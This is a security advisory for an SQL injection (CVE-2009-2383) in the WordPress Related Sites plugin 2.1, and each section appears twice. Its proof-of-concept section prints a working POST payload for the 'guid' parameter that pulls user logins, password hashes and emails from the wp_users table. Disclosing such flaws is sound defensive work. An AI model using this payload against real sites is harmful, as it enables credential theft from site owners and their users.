WordPress Related Sites Plugin 'guid' Parameter SQL Injection Vulnerability
BID:35538
Info
WordPress Related Sites Plugin 'guid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 35538 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-2383 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 30 2009 12:00AM |
| Updated: | Apr 13 2015 09:09PM |
| Credit: | eLwaux |
| Vulnerable: |
WordPress Related Sites 2.1 |
| Not Vulnerable: | |
Discussion
WordPress Related Sites Plugin 'guid' Parameter SQL Injection Vulnerability
The Related Sites plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Related Sites 2.1 is vulnerable; other versions may also be affected.
The Related Sites plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Related Sites 2.1 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Related Sites Plugin 'guid' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser.
The following example data is available:
POST: guid = 0', (select concat_ws(0x3a,user_login,user_pass,user_nicename,user_email) from wp_users where ID>0 and user_status=0 limit 1 ) );--
POST: click = .
HTTP_REFERER =
An attacker can exploit this issue via a browser.
The following example data is available:
POST: guid = 0', (select concat_ws(0x3a,user_login,user_pass,user_nicename,user_email) from wp_users where ID>0 and user_status=0 limit 1 ) );--
POST: click = .
HTTP_REFERER =
Solution / Fix
WordPress Related Sites Plugin 'guid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WordPress Related Sites Plugin 'guid' Parameter SQL Injection Vulnerability
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